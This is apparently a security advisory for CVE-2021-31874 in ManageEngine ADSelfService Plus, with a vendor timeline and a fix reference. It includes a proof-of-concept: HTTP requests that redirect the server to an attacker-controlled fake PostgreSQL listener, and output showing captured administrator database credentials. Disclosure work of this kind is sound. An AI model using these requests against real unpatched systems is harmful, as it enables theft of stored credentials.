research@STM:~$ cat /stm/vulndb/CVE-2021-31874

CVE-2021-31874

Name

Retrieval of linked databases credentials via HOST_NAME parameter manipulation

CVSS score

9.1 (Critical)

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

Product name

ManageEngine ADSelfService Plus

Confirmed exploitable versions

< 6104

Researcher

Krzysztof Andrusiak and Marcin Ogorzelski

Description

The HOST_NAME parameter is sent when linking account with external database, which contains IP address of the database. Any IP can be used, allowing an attacker to insert IP of malicious server with fake database running. In such scenario ADSSP server will try to authenticate to this fake database using credentials stored by administrator, revealing them to the attacker.

Proof-of-concept

PostgreSQL example:

1. Install PostgreSQL and add it to Configured Applications in ADSSP (with Password Sync enabled).
2. Execute postgres-pass.py script on machine other than ADSSP/PostgreSQL server (port 5432 must be free).
3. Log in to ADSSP as any domain user, then copy user's `JSESSIONIDADSSP` and `JSESSIONIDADSSPSSO` cookie values from the browser.
4. Send the following request to the server (replacing `COOKIE_VALUE` with valid cookies from previous step):

```
 GET /ServletAPI/selfService/IAMApps/getIAMApps HTTP/1.1
 Host: alpha-manage:8888
 Cookie: JSESSIONIDADSSP=COOKIE_VALUE; JSESSIONIDADSSPSSO=COOKIE_VALUE; adscsrf=ff84ae2e-267f-4f17-bd7a-094c4b4c5
bbc
```

5. Copy `APP_ID` and `APP_CONFIG_ID` values from response body (from JSON entry related to PostgreSQL).
6. Send the following request to the server (replacing `COOKIE_VALUE` with valid cookies from step 2). Replace `APP_CONFIG_ID` and `APP_ID` values with ones retrieved in step 5, then replace `HOST_NAME` with IP of the machine on which postgres-pass.py script is running (step 2).

```
 POST /ServletAPI/selfService/IAMApps/linkAccountUsingPass HTTP/1.1
 Host: bread-manage:8888
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 Cookie: JSESSIONIDADSSP=COOKIE_VALUE; JSESSIONIDADSSPSSO=COOKIE_VALUE; adscsrf=2f482a1d-764f-484b-81be-fa5f9f527
002
 Content-Length: 134

 adscsrf=2f482a1d-764f-484b-81be-fa5f9f527002&HOST_NAME=192.168.100.102&APP_CONFIG_ID=1&APP_ID=117&PASSWORD=x&USE
RNAME=x
```

7. Check output of postgres-pass.py for PostgreSQL database credentials (ones defined by administrator during ADDSP configuration, not the ones provided in the HTTP request).

```
 └─$ python3 postgres-pass.py
 [*] Waiting for connections...
 [*] New connection!
 [+] Obtained credentials (192.168.100.102): username=postgres, password=Test123!@#
```

Please note that PoC was done for PostgreSQL database, but other applications could be affected as well.

Timeline

- 17-03-2021 - Vulnerability reported to vendor
- 18-03-2021 - First response from vendor

- 23-04-2021 - Update from vendor
- 08-05-2021 - Fixed version release
- 21-02-2022 - Public disclosure
- 21-02-2022 - PoC release

References

https://www.manageengine.com/products/self-service-password/release-notes.html#6104

https://pitstop.manageengine.com/portal/en/community/topic/adselfservice-plus-6104-released-with-an-important-security-fixes

HACK THE UNHACKABLE

research@stmcyber.pl